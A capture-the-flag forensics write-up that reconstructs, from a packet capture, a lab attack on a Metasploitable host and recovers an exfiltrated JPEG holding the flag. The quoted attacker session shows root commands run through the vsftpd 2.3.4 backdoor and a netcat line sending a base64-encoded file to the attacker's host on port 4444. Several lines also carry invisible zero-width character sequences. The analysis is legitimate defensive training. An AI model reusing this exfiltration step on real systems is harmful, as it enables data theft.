exFill

Platform: grodno_new_year_2026 | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: base64_decoding, pcap_analysis, strings_extraction, tcp_stream_reconstruction

Summary

Task: Network forensics challenge with a PCAP file containing traffic from a penetration test on a Metasploitable machine. Solution: Reconstructed the attacker's shell session on port 6200, extracted the base64-encoded exfiltrated JPEG from the netcat transfer on port 4444, decoded it, and found the flag embedded in the image strings.

exFill - Grodno New Year 2026 CTF

Challenge Info

Description

Снифферы в сети иногда могут рассказать многое / Sniffers on the network can sometimes tell a lot

Analysis

Step 1: Initial PCAP Analysis

Downloaded and analyzed the provided capture.pcap file. The pcap contained network traffic from what appeared to be a penetration test or attack scenario on a local network (192.168.56.x subnet). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
file capture.pcap
# capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4

Step 2: Identifying Key Traffic

Using tshark, identified several interesting TCP conversations:

 bash read-only • copy allowed Copy
tshark -r capture.pcap -z conv,tcp -q

Key findings:

• Port 6200: Shell session (Metasploitable backdoor - vsftpd 2.3.4 backdoor)
• Port 4444: Data exfiltration channel

Step 3: Analyzing Shell Session (TCP Stream 1125)

Found a shell session on port 6200 where the attacker executed commands: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
tshark -r capture.pcap -z "follow,tcp,ascii,1125" -q

Reconstructed attacker session:

 bash read-only • copy allowed Copy
id
uid=0(root) gid=0(root)

ls /home/msfadmin
capture.pcap
f1ag.jpg
vulnerable

sha256sum f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

base64 f1ag.jpg > tmp.file
nc 192.168.56.102 4444 < tmp.file

echo 'U 4re hacked =D' > readme.txt

The attacker:

1. Gained root access via the backdoor
2. Found a suspicious file named f1ag.jpg
3. Encoded it in base64
4. Exfiltrated it via netcat to port 4444 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extracting the Exfiltrated Data

Extracted the base64 data from TCP stream 1126 (port 4444):

 bash read-only • copy allowed Copy
tshark -r capture.pcap -z "follow,tcp,raw,1126" -q | \
  grep -v "^=" | grep -v "^Follow" | grep -v "^Filter" | \
  grep -v "^Node" | grep -v "^$" | \
  xxd -r -p | base64 -d > f1ag_extracted.jpg

Verified the extracted file:

 bash read-only • copy allowed Copy
file f1ag_extracted.jpg
# f1ag_extracted.jpg: JPEG image data, JFIF standard 1.01

sha256sum f1ag_extracted.jpg
# af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag_extracted.jpg

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SHA256 hash matches the one from the attacker's session!

Step 5: Finding the Flag

Searched for the flag in the extracted JPEG:

 bash read-only • copy allowed Copy
strings f1ag_extracted.jpg | grep -i grodno

Output:

+grodno{REDACTED}

The flag was embedded in the JPEG file's metadata/strings.

Solution Script

 bash read-only • copy allowed Copy
#!/bin/bash
# exFill solution - extract flag from pcap

PCAP="capture.pcap"

# Extract base64 data from exfiltration stream (port 4444)
tshark -r "$PCAP" -z "follow,tcp,raw,1126" -q 2>/dev/null | \
  grep -v "^=" | grep -v "^Follow" | grep -v "^Filter" | \
  grep -v "^Node" | grep -v "^$" | \
  xxd -r -p | base64 -d > f1ag_extracted.jpg 2>/dev/null
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract flag from image
strings f1ag_extracted.jpg | grep -oE "grodno\{[^}]+\}"

Tools Used

Attack Scenario Reconstruction

Attacker (192.168.56.102)          Victim (192.168.56.101 - Metasploitable)
         |                                        |
         |-------- Exploit vsftpd 2.3.4 -------->|
         |                                        |
         |<------- Shell on port 6200 -----------|
         |                                        |
         |-------- id; ls /home/msfadmin ------->|
         |                                        |
         |-------- base64 f1ag.jpg > tmp ------->|
         |                                        |
         |<------- nc 4444 < tmp.file -----------|
         |                                        |
         |-------- Data exfiltrated! ------------|

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons Learned

1. Network monitoring is crucial - The attacker's entire session was captured
2. Base64 encoding is not encryption - Data can be easily decoded
3. File naming conventions - f1ag.jpg is a common CTF pattern (1337 speak)
4. Port 4444 - Classic Metasploit default port for reverse shells/data transfer
5. Strings in images - Flags can be hidden in image metadata or appended data

References

• Wireshark TCP Stream Following
• Metasploitable 2
• vsftpd 2.3.4 Backdoor ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍